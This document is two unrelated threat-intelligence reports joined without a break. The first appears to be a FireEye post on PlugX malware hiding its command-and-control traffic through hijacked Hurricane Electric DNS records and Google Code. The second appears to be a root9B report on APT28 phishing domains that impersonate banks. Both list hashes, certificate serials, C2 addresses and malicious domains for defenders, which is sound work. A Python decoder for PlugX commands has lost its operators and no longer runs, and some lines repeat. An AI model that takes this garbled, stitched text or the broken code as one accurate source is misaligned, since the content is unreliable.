Second stage payload Command and Control Appendix
Operation Poisoned Hurricane Introduction Our worldwide sensor network provides researchers at FireEye Labs with unique opportunities to detect innovative tactics employed by malicious actors and protects our clients from these tactics.
We recently uncovered a coordinated campaign targeting Internet infrastructure providers, a media organization, a financial services company, and an Asian government organization.
The actor responsible for this campaign utilized legitimate digital certificates to sign their tools and employed innovative techniques to cloak their command and control traffic.
Hurricane Electric Redirection In March of 2014, we detected Kaba (aka PlugX or SOGU) callback traffic to legitimate domains and IP addresses.
Our initial conclusion was that this traffic was the result of malicious actors sleeping their implants, by pointing their command and control domains at legitimate IP addresses.
As this is a popular technique, we did not think much of this traffic at the time.
Further analysis revealed that the HTTP headers of the traffic in question contained a Host: entry for legitimate domains.
As we have previously observed malware families that forge their HTTP headers to include legitimate domains in callback traffic, we concluded that the malware in this case was configured in the same way.
An example of the observed traffic is as follows: POST /C542BB084F927229348B2A34 HTTP/1.1 Accept: / CG100: 0 CG103: 0 CG107: 61456 CG108: 1 User-Agent: Mozilla/4.0 (compatible MSIE 9.0 Windows NT 6.1 SLCC2 .NET CLR 2.0.50727 .NET CLR 3.5.30729 .NET CLR 3.0.30729 Media Center PC 6.0 .NET4.0C) Host: www.adobe.com Content-Length: 0 Cache-Control: no-cache As we continued to see this odd traffic throughout the summer we began a search for malware samples responsible for this behavior.
Via this research, we found a malware sample that we believe was responsible for at least some of the strange traffic that we had observed.
The identified sample had the following properties: MD5: 52d2d1ab9b84303a585fb81e927b9e01 Size: 180296 Compile Time: 2013-10-15 05:17:37 Import Hash: b29eb78c7ec3f0e89bdd79e3f027c029 .rdata: d7b6e412ba892e9751f845432625bbb0 .text: ed0dd6825e3536d878f39009a7777edc .data: 1bc25d2f0f3123bedea254ea7446dd50 .rsrc: 91484aa628cc64dc8eba867a8493c859 .reloc: f1df8fa77b5abb94563d5d97e5ccb8e2 RT_VERSION: 9dd9b7c184069135c23560f8fbaa829adc7af6d2047cf5742b5a1e7c5c923cb9 This sample was signed with a legitimate digital certificate from the Police Mutual Aid Association.
This certificate has a serial number of 06 55 69 a3 e2 61 40 91 28 a4 0a ff a9 0d 6d 10.
Analysis of this Kaba sample revealed that it was configured to directly connect to both www.adobe.com and update.adobe.com.
Obviously, this configuration does not make a lot of sense, as the actor would not be able to control their implants from anywhere on the Internet since they did not have direct control over these domains unless the attackers were able to re-route traffic destined for these domains from specific victims.
Indeed, further analysis of this Kaba variant revealed that it was also configured to use specific DNS resolvers.
This sample was configured to resolve DNS lookups via Hurricane Electrics nameservers of 216.218.130.2, 216.218.131.2, 216.218.132.2 and 216.66.1.2.
We found this interesting, so we investigated how these Hurricane Electrics nameservers were configured.
Subsequently, we found that anyone could register for a free account with Hurricane Electrics hosted DNS service.
Via this service, anyone with an account was able to register a zone and create A records for the registered zone and point those A records to any IP address they so desired.
The dangerous aspect of this service is that anyone was able to hijack legitimate domains such as adobe.com.
Although these nameservers are not recursors and were not designed to be queried directly by end users, they were returning results if queried directly for domains that were configured via Hurricane Electrics public DNS service.
Furthermore, Hurricane Electric did not check if zones created by their users were already been registered or are otherwise legitimately owned by other parties.
As we continued this research, we identified 21 legitimate fully qualified domain names that had been hijacked via this technique by at least one APT actor.
In addition to the adobe.com domain mentioned above, another one of the poisoned domains is www.outlook.com.
A lookup of this domain via Googles DNS resolvers returns expected results: dig short 8.8.8.8 www.outlook.com www.outlook.com.glbdns2.microsoft.com.
www-nameast.outlook.com.
157.56.240.246 157.56.236.102 157.56.240.214 157.56.241.102 157.56.232.182 157.56.241.118 157.56.240.22 A quick lookup of these addresses reveal that Microsoft owns them: 157.56.240.246 8075 157.56.0.0/16 MICROSOFT-CORP-MSN-A US MICROSOFT.COM MICROSOFT CORPORATION 157.56.236.102 8075 157.56.0.0/16 MICROSOFT-CORP-MSN-A US MICROSOFT.COM MICROSOFT CORPORATION 157.56.240.214 8075 157.56.0.0/16 MICROSOFT-CORP-MSN-A US MICROSOFT.COM MICROSOFT CORPORATION 157.56.241.102 8075 157.56.0.0/16 MICROSOFT-CORP-MSN-A US MICROSOFT.COM MICROSOFT CORPORATION 157.56.232.182 8075 157.56.0.0/16 MICROSOFT-CORP-MSN-A US MICROSOFT.COM MICROSOFT CORPORATION 157.56.241.118 8075 157.56.0.0/16 MICROSOFT-CORP-MSN-A US MICROSOFT.COM MICROSOFT CORPORATION 157.56.240.22 8075 157.56.0.0/16 MICROSOFT-CORP-MSN-A US MICROSOFT.COM MICROSOFT CORPORATION However, as recently as August 4, 2014 a lookup of the same www.outlook.com domain via Hurricane Electrics resolvers returned entirely different results[1]: dig short 216.218.130.2 www.outlook.com 59.125.42.167 dig short 216.218.131.2 www.outlook.com 59.125.42.167 dig short 216.218.132.2 www.outlook.com 59.125.42.167 dig short 216.66.1.2 www.outlook.com 59.125.42.167 whois -h asn.shadowserver.org origin 59.125.42.167 3462 59.125.0.0/17 HINET TW HINET.NET DATA COMMUNICATION BUSINESS GROUP Passive DNS research on the 59.125.42.167 IP address revealed that multiple APT actors have previously used this IP address.
IP Address Domain First Seen Last Seen 59.125.42.167 ml65556.gicp[.
]net 2014-06-23 2014-07-23 59.125.42.167 wf.edsplan[.
]com 2014-05-12 2014-05-14 59.125.42.167 gl.edsplan[.
]com 2014-05-12 2014-05-14 59.125.42.167 unix.edsplan[.
]com 2014-05-12 2014-05-14 Additional researched uncovered more Kaba samples that were configured to leverage Hurricane Electrics public DNS resolvers.
Another sample has the following properties: MD5: eae0391e92a913e757ac78b14a6f079f Size: 184304 Compile Time: 2013-11-26 17:39:25 Import Hash: f749528b1db6fe5aee61970813c7bc18 Text Entry: 558bec83ec1056ff7508ff1518b00010 .rdata: 747abda5b3cd3494f056ab4345a909e4 .text: 475c20b8abc972710941ad6659492047 .data: d461f8f7b3f35b7c6855add6ae59e806 .rsrc: b195f57cb5e605cb719469492d9fe717 .reloc: d6b23cb71f214d33e56cf8f6a10c0c10 RT_VERSION: 9dd9b7c184069135c23560f8fbaa829adc7af6d2047cf5742b5a1e7c5c923cb9 This sample is signed with a recently expired digital certificate from MOCOMSYS INC.
This certificate has a serial number of 03 e5 a0 10 b0 5c 92 87 f8 23 c2 58 5f 54 7b 80.
This sample used Hurricane Electrics public DNS resolvers to route traffic to the hijacked domains of www.adobe.com and update.adobe.com.
We also noted that this sample was configured to connect directly to 59.125.42.168 one IP address away from the IP that received traffic from the hijacked www.outlook.com domain.
Passive DNS research revealed that this IP hosted the same set of known APT domains listed above: IP Address Domain First Seen Last Seen 59.125.42.168 ml65556.gicp[.
]net 2014-04-23 2014-07-24 59.125.42.168 wf.edsplan[.
]com 2014-04-23 2014-05-14 59.125.42.168 gl.edsplan[.
]com 2014-05-04 2014-05-14 59.125.42.168 unix.edsplan[.
]com 2014-05-04 2014-05-14 While this problem does not directly impact users of www.adobe.com, www.outlook.com, or users of the other affected domains, it should not be dismissed as inconsequential.
Actors that adopt this tactic and obfuscate the destination of their traffic through localized DNS hijacks can significantly complicate the job of network defenders.
Via our sensor network, we observed the actor responsible for this activity conducting a focused campaign.
We observed this actor target: Multiple Internet Infrastructure Service Providers in Asia and the United States A Media Organization based in the United States A financial institution based in Asia An Asian government organization Google Code Command and Control Furthermore, we also discovered this same actor conducting a parallel campaign that leveraged Google Code for command and control.
On August 1, 2014 we observed a malicious self-extracting executable (aka sfxrar) file downloaded from 211.125.81.203.
This file had the following properties: MD5: 17bc9d2a640da75db6cbb66e5898feb1 Size: 282800 bytes A valid certificate from QTI INTERNATIONAL INC was used to sign this sfxrar.
This certificate had a serial number of 2e df b9 fd cf a0 0c cb 5a b0 09 ee 3a db 97 b9.
The sfxrar contained the following files: File Size MD5 msi.dll 11680 029c8f56dd89ceeaf928c3148d13eba7 msi.dll.dat 115218 62834d2c967003ba5284663b61ac85b5 setup.exe 34424 d00b3169f45e74bb22a1cd684341b14a Setup.exe is a legitimate executable from Kaspersky used to load the Kaba (aka PlugX) files msi.dll and msi.dll.dat.
These Kaba files are configured to connect to Google Code specifically code.google.com/p/udom/.
On August 1, this Google Code project contained the encoded command DZKSGAAALLBACDCDCDOCBDCDCDOCCDADIDOCBDADDZJS.
[2] These Kaba files are configured to connect to Google Code specifically code.google.com/p/udom/.
On August 1, this Google Code project contained the encoded command DZKSGAAALLBACDCDCDOCBDCDCDOCCDADIDOCBDADDZJS.
def NewPlugx_C2_redir_decode(s): rvalue for x in range(0, len(s), 2): tmp0 (ord(s[x1]) 041) 4 rvalue chr(ord(s[x]) tmp0 041) return rvalue The command DZKSGAAALLBACDCDCDOCBDCDCDOCCDADIDOCBDADDZJS decodes to 222.122.208.10.
In a live environment, the Kaba implant would then connect to this IP address via UDP.
Further analysis of project at code.google.com/p/udom/ revealed the project owner, 0x916ftb691u, created a number of other projects.
We decoded the commands hosted at these linked projects and found that they issued the following decoded commands: 112.175.143.22 59.125.42.167 153.121.57.213 61.82.71.10 202.181.133.169 http://www.fireeye.com/blog/wp-content/uploads/2014/08/google-code17.png 61.78.32.139 61.78.32.148 202.181.133.216 59.125.42.168 119.205.217.104 222.122.208.10 112.175.143.16 222.122.208.9 27.122.13.204 It is likely that other yet to be discovered Kaba variants are configured to connect to these related Google Code projects and then redirect to this list of IP addresses.
Passive DNS analysis of these IP addresses revealed connections to the following known malicious infrastructure: IP Address Domain First Seen Last Seen 27.122.13.204 bq.cppcp[.
]com 2014-03-21 2014-05-08 112.175.143.16 uj.verisignss[.
]com 2013-06-30 2013-08-13 112.175.143.16 www.verifyss[.
]com 2013-06-30 2013-07-22 112.175.143.16 uj.byonds[.
]com 2013-06-24 2013-07-22 112.175.143.16 uj.verifyss[.
]com 2013-06-30 2013-07-22 59.125.42.168 ml65556.gicp[.
]net 2014-04-23 2014-07-24 59.125.42.168 wf.edsplan[.
]com 2014-04-23 2014-05-14 59.125.42.168 gl.edsplan[.
]com 2014-05-04 2014-05-14 59.125.42.168 unix.edsplan[.
]com 2014-05-04 2014-05-14 59.125.42.167 ml65556.gicp[.
]net 2014-06-23 2014-07-23 59.125.42.167 wf.edsplan[.
]com 2014-05-12 2014-05-14 59.125.42.167 gl.edsplan[.
]com 2014-05-12 2014-05-14 59.125.42.167 unix.edsplan[.
]com 2014-05-12 2014-05-14 61.78.32.148 door.nexoncorp[.
]com 2014-04-30 2014-06-22 61.78.32.148 verisignss[.
]com 2014-04-30 2014-06-22 61.78.32.148 th.nexoncorp[.
]com 2014-04-30 2014-06-22 61.78.32.148 tw.verisignss[.
]com 2014-04-30 2014-06-22 61.78.32.148 sd.nexoncorp[.
]com 2014-04-30 2014-06-22 61.78.32.148 mail.nexoncorp[.
]com 2014-04-30 2014-06-22 112.175.143.22 door.nexoncorp[.
]com 2014-04-01 2014-04-30 112.175.143.22 th.nexoncorp[.
]com 2014-04-01 2014-04-30 112.175.143.22 sd.nexoncorp[.
]com 2014-04-01 2014-04-30 112.175.143.22 mail.nexoncorp[.
]com 2014-04-01 2014-04-30 112.175.143.22 verisignss[.
]com 2013-12-29 2014-04-30 112.175.143.22 tw.verisignss[.
]com 2013-12-29 2014-04-30 Relationships Between Campaigns As mentioned above the Kaba variant eae0391e92a913e757ac78b14a6f079f shared a common import hash of f749528b1db6fe5aee61970813c7bc18 with many of the samples listed in this post.
This samples was to use Hurricane Electrics nameservers as well as connect directly to the IP address 59.125.42.168.
Note that we identified the same C2 IP 59.125.42.168 via our analysis of the malicious Google Code projects.
Specifically, the Google Project at code.google.com/p/tempzz/, which is linked to the project at code.google.com/p/udom/, issued an encoded command that decoded to 59.125.42.168.
We also identified another related Kaba variant that connected to code.google.com/p/updata-server.
This variant had the following properties: MD5: 50af349c69ae4dec74bc41c581b82459 Size: 180600 bytes Compile Time: 2014-04-01 03:28:31 Import Hash: f749528b1db6fe5aee61970813c7bc18 .rdata: 103beeefae47caa0a5265541437b03a1 .text: e7c4c2445e76bac81125b2a47384d83f .data: 5216d6e6834913c6cc75f40c8f70cff8 .rsrc: b195f57cb5e605cb719469492d9fe717 .reloc: f7d9d69b8d36fee5a63f78cbd3238414 RT_VERSION: 9dd9b7c184069135c23560f8fbaa829adc7af6d2047cf5742b5a1e7c5c923cb9 This sample was signed with a valid digital certificate from PIXELPLUS CO.,
LTD and had a serial number of 0f e7 df 6c 4b 9a 33 b8 3d 04 e2 3e 98 a7 7c ce.
In addition to sharing the same Import hash of f749528b1db6fe5aee61970813c7bc18 seen in other samples listed throughout this post, 50af349c69ae4dec74bc41c581b82459 contained a RT_VERSION resource of 9dd9b7c184069135c23560f8fbaa829adc7af6d2047cf5742b5a1e7c5c923cb9.
This same RT_VERSION was used in a number of other related samples including: MD5 C2 Uses Hurricane Electric 7e6c8992026a79c080f88103f6a69d2c h.cppcp[.]comu.cppcp[.
]com NO 52d2d1ab9b84303a585fb81e927b9e01 www.adobe[.]comupdate.adobe[.
]com YES 787c6cf3cb18feeabe4227ec6b19db01 ns.lovechapelumc[.]orgns1.lovechapelumc[.
]org NO Conclusion These coordinated campaigns demonstrate that APT actors are determined to continue operations.
As computer network defenders increase their capabilities to identify and block these campaigns by deploying more advanced detection technologies, threat actors will continue to adopt creative evasion techniques.
We observed the following evasion techniques in these campaigns: The use of legitimate digital certificates to sign malware The use of Hurricane Electrics public DNS resolvers to redirect command and control traffic The use of Google Code to obfuscate the location of command and control servers While none of these techniques are necessarily new, in combination, they are certainly both creative and have been observed to be effective.
Although the resultant C2 traffic can be successfully detected and tracked, the fact that the malware appears to beacon to legitimate domains may lull defenders into a false sense of security.
Network defenders should continue to study the evolution of advanced threat actors, as these adversaries will continue to evolve in pursuit of their designated objectives.
Related MD5s 17bc9d2a640da75db6cbb66e5898feb1 eae0391e92a913e757ac78b14a6f079f 434b539489c588db90574a64f9ce781f 7e6c8992026a79c080f88103f6a69d2c 52d2d1ab9b84303a585fb81e927b9e01 787c6cf3cb18feeabe4227ec6b19db01 50af349c69ae4dec74bc41c581b82459 d51050cf98cc723f0173d1c058c12721 Digital Certificates MOCOMSYS INC, (03 e5 a0 10 b0 5c 92 87 f8 23 c2 58 5f 54 7b 80) PIXELPLUS CO.,
LTD., (
0f e7 df 6c 4b 9a 33 b8 3d 04 e2 3e 98 a7 7c ce) http://www.fireeye.com/blog/wp-content/uploads/2014/08/20140803-Sogu-TTPs.png Police Mutual Aid Association (06 55 69 a3 e2 61 40 91 28 a4 0a ff a9 0d 6d 10) QTI INTERNATIONAL INC (2e df b9 fd cf a0 0c cb 5a b0 09 ee 3a db 97 b9) Ssangyong Motor Co. (1D 2B C8 46 D1 00 D8 FB 94 FA EA 4B 7B 5F D8 94) jtc (72 B4 F5 66 7F 69 F5 43 21 A9 40 09 97 4C CC F8) Footnotes [1] As of August 4, 2014 Hurricane Electric was no longer returning answers for www.outlook.com or the other affected domains.
[
2] This same encoding algorithm was previously described by Cassidian at http://blog.cassidiancybersecurity.com/post/2014/01/plugx-some-uncovered-points.html This entry was posted in Targeted Attack, Threat Research and tagged advanced attack, APT, evasion techniques, kana, plugx by Ned Moran, Joshua Homan and Mike Scott.
Bookmark the permalink.
http://www.fireeye.com/blog/category/technical/targeted-attack http://www.fireeye.com/blog/category/technical http://www.fireeye.com/blog/tag/advanced-attack http://www.fireeye.com/blog/tag/apt http://www.fireeye.com/blog/tag/evasion-techniques http://www.fireeye.com/blog/tag/kana http://www.fireeye.com/blog/tag/plugx http://www.fireeye.com/blog/author/ned-moran http://www.fireeye.com/blog/author/joshua-homan http://www.fireeye.com/blog/author/mscott http://www.fireeye.com/blog/technical/targeted-attack/2014/08/operation-poisoned-hurricane.html
APT-28 1 root9b.com APT28 Targets Financial markets: zero day hashes released APT-28 2 root9b.com APT 28 In the last year alone Russian hackers have reportedly stolen up to 900 million dollars from banks around the world.
May 10, 2015 Cybersecurity experts are increasingly concerned about the threat posed by Russian hacking groups.
Besides well-known events such as the attacks against Estonia, Georgia, and Ukraine recent headlines have seen Russian hacking syndicates credited with targeting NATO officials at conferences, stealing hundreds of millions from banks, and successfully penetrating the White House unclassified computer network.
The increase in cyber-exploits is also accompanied by a much more aggressive Russian foreign policy, which has seen them invade Ukraine and literally seize control of sovereign territory in Crimea.
So it should not surprise anyone that just as nuclear capable Russian bombers are increasingly penetrating foreign airspace, their cyber-warriors appear to be ramping up their intrusions as well.
But this time, perhaps for the first time, root9B has managed to find where they were hiding and identified effective defenses against their intended attacks.
This is what happened in late April and early May of this year.
Our firm of cybersecurity experts, staffed by veterans from the United States Department of Defense, identified suspicious activity within one of our clients networks a threat which on closer inspection bore the unique signature of a group of Russian hackers well-known in the cyber-security industry.
As Cyber Threat analysts continued to follow the indicators, they uncovered a global attack in the making, and took steps to protect not only our clients, but other identified victims as well.
Sofacy, Sednit, Sourface, APT-28, and a host of other names are all used to describe this particularly prolific and superbly talented group of Russian hackers, which has strongly suspected ties to Russian intelligence services.
In the last year alone Russian hackers have reportedly stolen up to 900 million dollars from banks around the world.
Over the past three to five years they have built the largest botnets ever discovered, and stolen the log-in and password credentials to literally root9B: The Threat Defiance Report targets Financial Markets R O O T 9 B R E L E A S E S Z E R O D A Y H A S H E S APT-28 3 root9b.com May 10, 2015 root9B: The Threat Defiance Report Sofacys unique signatures is a perfect cover behind which the Russian Government prefers to remain.
tens of millions of online accounts.
Well known for their ability to infiltrate and remain undiscovered in networks for long periods of time, they may be the most successful group of hackers in the world.
Whereas previous attacks have been attributed and analyzed only after they have run their course, this was the first and only known Sofacy attack to be discovered, identified, and reported all before it could even begin The analysts and tools that enabled this to happen are unique and proprietary.
This report documents the first ever operation to use threat intelligence and adversary tactics to discover and reveal the prepositioning of Sofacy zero-day malware.
This document also includes the reporting of previously unknown malware indicators and hashes.
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The Threat Russian President Vladimir Putin recently described the Internet as an invention of the CIA.
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The Threat Russian President Vladimir Putin recently described the Internet as an invention of the CIA.
But the group most widely associated with his government dominates the world of industrial scale hacking.
First discovered circa 2007 using security vulnerabilities in Microsoft Windows, Sofacy has gone on to develop and launch truly enormous attacks exploiting numerous applications including Adobes Acrobat, Microsoft Excel, and others.
Some attacks have focused on the sorts of targets that seem likely to be of interest to Russian intelligence services.
NATO, defense industry corporations, and government domains of states opposed to Russia on various issues have all been, at times, victims of Sofacy.
At other times large banks and private corporations have been hit hard by Sofacy exploits, at a cost of hundreds of millions to the victims.
Sofacys choice of targets has historically been an interesting mixture that has fueled an ongoing debate over whether the group is criminal in nature, or actually an agent of a nation-state.
Most cybersecurity analysts have concluded that the groups affiliation with the Russian government is undeniable.
But there are detractors.
Those who argue loudest against such assertions cite Sofacys prolific criminal profit as evidence that they are most likely not agents of the Federal Security Service (FSB) while others suppose that the crimes committed bearing The Defenders Started in 2012 and staffed almost entirely by former United States Department of Defense civilians and military cyber-warriors, root9B brings a unique base of knowledge and experience to the task of securing corporate networks.
This comes at a time when the demand for services is stronger than ever and increasing daily.
Calling on years of collective experience in positions that placed their analysts at the tip of the cyber-spear, root9B has developed a unique approach to the problem of cyber-defense.
Understanding that the present tools are failing at an alarming rate, they have developed methods and software applications which seek to augment, rather than replace, existing cyber-security defenses.
The problem is not that traditional methods do not work.
It is that hackers are becoming increasingly sophisticated and able to generate new threats faster than ever before.
Standard network security systems typically fail against what are known as zero-day threats.
Zero-day is a term that refers to a new kind of hacking exploit that has never been seen before, and is therefore not detected by standard virus and intrusion detection software.
Typically, such threats take an alarmingly long time to detect and eliminate, often more than a year.
They were once relatively rare, because it takes a high degree of skill to develop and exploit them.
The production and sale on the black market has increased exponentially in recent years, developing into a criminal industry that is placing online commerce, as well as national security, at growing risk.
In the time between deployment of a zero-day and its eventual discovery and eradication, corporations can suffer enormous losses without even realizing that the threat was ever there.
To combat threats, root9B realized that technology is not the problem.
Computers dont attack networks.
People do, said root9B.
You cannot build a better system to stop a determined human, you must think like the attacker and provide manned cyber defense operations as the new adaptive security posture.
root9B operators and software developers designed APT-28 4 root9b.com May 10, 2015 root9B: The Threat Defiance Report and constructed proprietary methods of discovering and dealing with adversaries.
With a network defense strategy of pursuit and deterrence in mind, root9B operators conduct Active Adversary Pursuit (HUNT) operations as a tailored solution for cyber security teams.
Working in concert with traditional network defense appliances that currently reside in our clients proprietary network, root9Bs HUNT platform delivers a pro-active defense protection capability to identify, pursue, and mitigate cyber threats.
This approach was developed by root9B in order to leverage previously existing security products with client-specific threat intelligence and proprietary capabilities that can identify sophisticated vulnerabilities, generate actionable intelligence, and install solutions with much greater speed and efficiency.
Winning In Advance During the end of April 2015, root9B analysts were conducting routine security analysis to explore and discover new and emerging cyber threats.
Threat Analysts discovered what appeared to be a targeted spearfishing domain aimed at a financial institution.
The server it was found on raised even more questions, because although security experts knew the server as a bad actor, it was generally associated with malware used in nation state attacks.
As analysts continued their work they discovered several more pieces of new malware.
The malicious code bore specific signatures that have historically been unique to only one organization, Sofacy.
This malware was pointing at a spearfishing domain registered to impersonate a Middle Eastern financial institution and the domain registration details did not match normal Sofacy operational signatures.
That said, the malicious software certainly did.
Members of root9Bs operations team conducted HUNT operations, remotely deploying their live memory capability across the clients proprietary networks to analyze known techniques that can evade the most efficient security products on the market.
root9Bs capability parses live memory while the system is running and looks for indicators of advanced tactics such as code injection or security product bypassing.
Using a combination of standard industry tools and proprietary techniques our analysts began to develop a larger picture of what was taking place.
Immediately, root9B identified that preparations were being made for a larger scale attack similar to previous Sofacy attributed exploits, and the attack was still in the preparatory stages.
To our analysts, this was a rare opportunity.
It is rare enough to learn of an attack of this potential magnitude in advance, but to have all of the information necessary to stop it before it begins is unprecedented, said an unnamed root9B analyst.
Evidence of intrusion within client networks pointed to a specific server, CARBON2U.COM, that had been previously linked to malicious activity and identified by other security firms as part of the infrastructure utilized by the Sofacy group.
Analysts studied the remaining domains registered on that server, and initially noted that one in particular, CBIUAEBANK.
APT-28 5 root9b.com May 10, 2015 COM, appeared to be a fake version of CBIUAE.COM, the actual domain of the website of Commercial Bank International of the United Arab Emirates.
Further analysis lead to even more suspicion, and those suspicions grew even stronger as they watched another comparable domain created, CBIUAEBN.
COM.
As analysts passively monitored CARBON2U.
COM, they observed as the apparent fake domains they were monitoring migrated to other servers first to SITE4NOW.NET and later to OK2HOST.COM.
This gave analysts two more suspicious servers to study, and added considerable data analysis.
root9B analysts began to dissect the data at hand to identify common tactics, techniques, and procedures used by the adversaries which could provide further information about the planned hack, including information about potential attack vectors.
As root9B analyzed increasing amounts of metadata and associated indicators, they were able to identify a very unique signature consistently used by someone involved in setting up the hack.
Investigating the apparently fictitious list of personas used to create and register domains, a pattern emerged.
Due to the nature of this unique signature, root9B is in the process of further documenting and reporting to the proper authorities.
The discovery of the hackers single mistake in tradecraft was indeed a powerful catalyst, and lead to the discovery of a treasure trove of new indicators.
The new discoveries included evidence related to past attempts to launch attacks against many of the same targets, including the aforementioned Commercial Bank International.
What the analysts eventually had was a very detailed view of the specific tactics employed by this adversary and a window into a plan for a hack that was even larger than originally believed, much larger.
Where initially they had only a single fake domain pointed at CBI, now there were six additional domains, all used to target this single victim.
Many of the fake domains appeared to have been created by several of the same accounts, and open source analysis indicated that the names listed for the root9B: The Threat Defiance Report APT-28 6 root9b.com May 10, 2015 person registering the addresses was clearly fictitious probably chosen at random from the Internet.
The analysts at root9B understand better than anyone the significance of this analysis.
As far as any of them know, and it stands to reason that they would, there has never been a case of a large-scale attack utilizing numerous zero-day exploits that were so thoroughly mapped in advance before.
The analysts who worked this case now understand that the attackers began preparations for this campaign in June 2014, a full eleven months ago.
The design of the hack bears striking similarity to the very exploits that have made Sofacy so feared and respected.
At least nine months of meticulous preparation coupled with one slip of tradecraft has enabled root9B to inform potential targets prior to the execution of the strategy.
With the exception of CBIUAEONLINE.COM, there are numerous consistencies amongst the tactics employed by the hackers.
The group generates what are likely fictitious personalities as the owners of each of the fake domains.
All of the fictitious personalities list the same street address.
While they change names and house numbers for them, they all reside on Cloverdale Lane in DeSoto, Texas.
Analysts noting the similarity did not have to visit the street to determine that it was unlikely that they each resided in different homes on the same street.
In fact, even the house numbers changed only slightly from one domain to the other.
In addition to the links between the addresses, streets, and names, they found that the registrant phone numbers were also very closely related.
The only differences in registrant data from one domain to the next involved very slight modifications to the country codes or by changing the third digit.
This kind of flaw in tradecraft allowed for further detailed network analysis.
Further analysis of the street addresses enabled root9B to correlate the address and personas listed as registrants via public records, doing so showed that most of these addresses did not even exist, and the few addresses confirmed to physically exist did not have residents with the names listed.
This became a key signature of the hackers a common thread which unraveled all of Sofacys careful preparation.
Often those wanting to generate a free and anonymous email address will use a false name and address in order to conceal and preserve their true identity.
The information below dictates open source research on the adversarys creation of domains.
As previously noted, root9B is in the process of further documenting and reporting probable fictitious personas to the authorities.
DOMAIN: CBIBUAE.COM Created:2014-06-14 Nameserver:nvhserver.com DOMAIN: CBIUAEONLINE.COM Created:2014-06-24 Updated:2014-07-03 Nameserver:aspnix.com (suspended-domain) DOMAIN: ROYALBSUK.COM Created:2014-07-02 Updated:2014-07-06 Nameserver:(suspended-domain) root9B: The Threat Defiance Report APT-28 7 root9b.com May 10, 2015 domains closely resembling financial institutions.
By studying the new persona, root9B discovered they had previously created several domains and websites, all of which have been flagged as Fake Financial Institutions by security analysts.
Also identified during this analysis, was the prepositioning of a domain targeting the financial institution B-OF- AMERIC.COM, created in April 2015.
This indicates that Bank of America, is among the probable targets.
This same individual has registered numerous other fake domains on many more name servers.
One of these name servers, BULKBREAKERS.COM, contains several other international financial institutions.
One of those domains, T-D-CANADATRUST.COM, was updatedon23March2015,andappearstobetargeting Toronto Dominion (TD) Canada Trust.
Among the apparent targets of other domains similarly created or updated in 2015 are: the United Nations, United Nations Childrens Fund, United Bank for Africa, Regions Bank, and possibly Commerzbank.
While root9Bs discovery began with servicing their own customers, their analysis has revealed an adversary pattern that has enabled the identification of previously unknown target vectors.
As root9B analysts continued to peel back the layers, it became more apparent, that this attack was likely associated with Russian intelligence.
The targets included multiple major financial institutions, as well as the international government domain.
In addition to identifying targets, root9B analysts also discovered indicators of malware, the analysis of which revealed several zero-day threats and their corresponding hashes.
Each new discovery revealed more information, enabling a more complete picture to emerge.
root9B discovered and analyzed numerous other domains being staged or recently created for the malicious cyber operation.
Also discovered was a fatal flaw in the hackers tradecraft that lead to a major breakthrough.
Research based on the adversarys flaw in tactics showed that there was a strong likelihood of two distinct subgroups, each of which utilized unique DOMAIN: CIBUAEONLINE.COM Created:2014-11-27 Updated:2014-01-27 Nameserver:hostzeal.com DOMAIN: CIBUAEONLINEBN.COM Created:2014-11-28 Updated:2014-01-27 Nameserver:site4now.net DOMAIN: CBIUAEONLINE.COM Created:2014-12-10 Updated:2014-02-08 Nameserver:ok2host.com DOMAIN: CBIUAEBANK.COM Created:2015-04-29 Updated:2015-05-02 Nameserver:site4now.net DOMAIN: CBIUAEBN.COM Created:2015-04-29 Updated:2015-05-03 Nameserver:ok2host.com Correlating the increasing amounts of information, root9B analysts have determined that the adversary responsible for the initial attack in June 2014 was almost certainly the same, or very closely-related to the entity responsible for creating at least two of the domains in April 2015.
The same person was ostensibly responsible for registering the two most recent domains (CBIUAEBN.COM and CBIUAEBANK.
COM).
Analysts from root9B now believe that the adversary most likely selected this name through an internet search, and that these personas, while possibly real names, are not the true names of those individuals associated with the preparations for this attack.
root9B analysts have also identified an additional persona one that did not appear to directly relate to this attack against CBI UAE Bank, but that carried similar operational tactics to include comparable street address schemes and the registration of root9B: The Threat Defiance Report Results APT-28 8 root9b.com May 10, 2015 methods of cover for their activity.
Each of the two groups also had a unique theme to their target sets.
The first seemed to focus on military, diplomatic, and media targets, and relied on the cover of proxies and private domain registrations.
As documented earlier, the other group used deliberately falsified personalities, all of which claimed to be American citizens, and focused on financial and banking targets.
Understanding the scope of the newly staged malicious operations, root9B also tipped the information to the appropriate international and domestic government authorities.
While the continued vector of the attack remains unclear, root9B assesses that it will most likely be a spear-phishing campaign.
This attack vector will likely use a well-crafted email containing either a malicious file or web hyperlink to what recipients believe is the actual website but is instead a fake landing page.
In typical attacks of this nature, once users navigate to the link, visitors are prompted to supply account credentials and personal information under the false assumption that they are communicating with their bank via a secure link.
However, it is possible, that the Sofacy group could utilize this server as a vector to deliver malicious code to the banking victims in an attempt to obtain access to the network.
As of October 2014, the Symantec Corporation had reported an increased use of spear-phishing emails containing malware specifically targeted against financial institutions.
According to their conclusions, root9B analysts expect that spear-phishing attacks will begin in the near future, or may have already commenced.
As root9B continues to work with authorities it is recommended that the aforementioned financial institutions take caution examining any and all correspondence.
In addition, it is recommended that networks begin blocking the following hashes and communications with the identified Command and Control (C2) server: Malware SHA1 Hash 0450aaf8ed309ca6baf303837701b5b23aac6f05 bb909d9c27a509bf97cdc85268556ff5a6d2550a f325970fd24bb088f1befdae5788152329e26bf3 a351842ee01374d66bae35354ffe72f0b1b8a40b Command and Control (C2) Server: 176.31.112.10 root9B: The Threat Defiance Report APT-28 9 root9b.com May 10, 2015 root9B: The Threat Defiance Report Interesting samples of over 250 identified malicious domains: b-of-americ.com osce-military.org bbcnewsweek.com qov.hu.com settings-yahoo.com yovtube.co googlesetting.com cbiuaebn.com cbiuaebank.com techcruncln.com un-unicef.org royalbsuk.com kwqx.us middle-eastreview.org unitednat.org fbonlinelottery.com fubnt.com globeshippers.biz globeshippers.net gsandsc.com gshippers.com hesselawchambers.com largefarm.net regionsbnk.info seatreasures.org ssandsc.com t-d-canadatrust.com techielawfirms.com togounoffice.com ubagroupsgh.com un-unicef.org unicomba.com universalcoba.com Some domains may have been previously reported as associated with the Sofacy Group.
It is root9Bs opinion that new information regarding cybercrime targeting banks makes this information relevant.
